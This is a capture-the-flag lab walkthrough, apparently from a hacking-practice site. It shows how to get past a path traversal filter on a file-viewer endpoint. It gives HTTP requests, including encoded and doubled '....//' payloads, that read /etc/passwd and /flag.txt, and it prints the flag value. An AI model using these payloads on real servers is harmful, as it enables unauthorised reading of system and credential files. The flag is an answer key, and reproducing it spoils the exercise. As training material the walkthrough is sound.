Learn Hacking by Actually Hacking

Difficulty

Intermediate

Vuln class

Path Traversal

Steps

// Objective

Bypass a path traversal filter to read sensitive files outside the document root.

// Tools required

BrowserBurp Suitecurl

// Step-by-step walkthrough

Test basic path traversal

The file viewer accepts a path parameter. Try a simple ../ escape to see if the server blocks it.

Command / Input

GET /docs?path=../../etc/passwd

Output

Error: Invalid path — traversal blocked

Bypass with encoding or doubled sequences

The filter strips ../ literally. Try URL double-encoding or null byte insertion to bypass.

Command / Input

GET /docs?path=..%2f..%2fetc%2fpasswd GET /docs?path=....//....//etc/passwd

Output

root:x:0:0:root:/root:/bin/bash...

⚑ ....// works because the filter strips ../ once, leaving ../ in place.

Read the flag

Apply the same bypass to reach /flag.txt.

Command / Input

GET /docs?path=....//....//....//flag.txt

Output

HackrGG{p4th_tr4v3rs4l_f1l3_r34d}

// Flag

Flag value

HackrGG{p4th_tr4v3rs4l_f1l3_r34d}

At /flag.txt — accessible after bypassing the traversal filter with doubled sequences.

DevDocs — File Viewer